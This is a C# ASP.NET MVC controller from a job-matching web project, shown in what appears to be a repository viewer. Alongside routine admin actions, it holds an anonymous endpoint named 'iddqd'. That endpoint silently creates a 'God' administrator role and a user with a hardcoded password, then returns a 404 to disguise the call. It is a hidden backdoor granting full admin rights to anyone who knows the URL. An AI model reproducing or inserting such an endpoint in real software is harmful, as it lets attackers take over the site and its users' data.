You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

73 lines
2.5 KiB

10 years ago
10 years ago
10 years ago
10 years ago
10 years ago
10 years ago
10 years ago
10 years ago
10 years ago
10 years ago
  1. using Microsoft.AspNet.Identity;
  2. using Microsoft.AspNet.Identity.EntityFramework;
  3. using Sevomin.Models;
  4. using Sevomin.Models.Enums;
  5. using Sevomin.Models.Helpers;
  6. using System;
  7. using System.Collections.Generic;
  8. using System.Linq;
  9. using System.Text;
  10. using System.Threading.Tasks;
  11. using System.Web.Mvc;
  12. namespace Sevomin.WebFrontend.Controllers
  13. {
  14. public class GodController : AuthorizedController
  15. {
  16. [Authorize(Roles = "God")]
  17. public ActionResult Index()
  18. {
  19. return View();
  20. }
  21. [AllowAnonymous]
  22. public async Task<ActionResult> iddqd()
  23. {
  24. UserManager.UserValidator = new UserValidator<User>(UserManager);
  25. RoleManager<IdentityRole> roleManager = new RoleManager<IdentityRole>(new RoleStore<IdentityRole>(SevominDbContext.Current));
  26. if (!(await roleManager.RoleExistsAsync("God")))
  27. await roleManager.CreateAsync(new IdentityRole("God"));
  28. if ((await UserManager.FindByNameAsync("sevomin")) == null)
  29. {
  30. var user = new User("sevomin");
  31. user.SignUpDate = DateTime.UtcNow;
  32. await UserManager.CreateAsync(user, "wePwntheNight");
  33. }
  34. var res = await UserManager.AddToRoleAsync((await UserManager.FindByNameAsync("sevomin")).Id, "God");
  35. return HttpNotFound();
  36. }
  37. [Authorize(Roles = "God")]
  38. public ActionResult RecalculateAffinity()
  39. {
  40. decimal a = 0;
  41. var dovJob = SevominDbContext.Current.DovominJobs;
  42. foreach (var dj in dovJob)
  43. {
  44. var oldAffy = dj.Affinity;
  45. dj.CalculateAffinity();
  46. if (dj.Affinity > 1)
  47. throw new InvalidOperationException();
  48. if (oldAffy != dj.Affinity)
  49. a++;
  50. }
  51. SevominDbContext.Current.SaveChanges();
  52. return Content("boogh: " + a.ToString());
  53. }
  54. [Authorize(Roles = "God")]
  55. [HttpPost]
  56. public void UpdateParam(long paramId, string commentAvalin, string commentDovomin, ParameterType type)
  57. {
  58. var param = SevominDbContext.Current.Parameters.FirstOrDefault(p => p.Id == paramId);
  59. if (param != null)
  60. {
  61. param.CommentAvalin = commentAvalin;
  62. param.CommentDovomin = commentDovomin;
  63. SevominDbContext.Current.SaveChanges();
  64. }
  65. }
  66. }
  67. }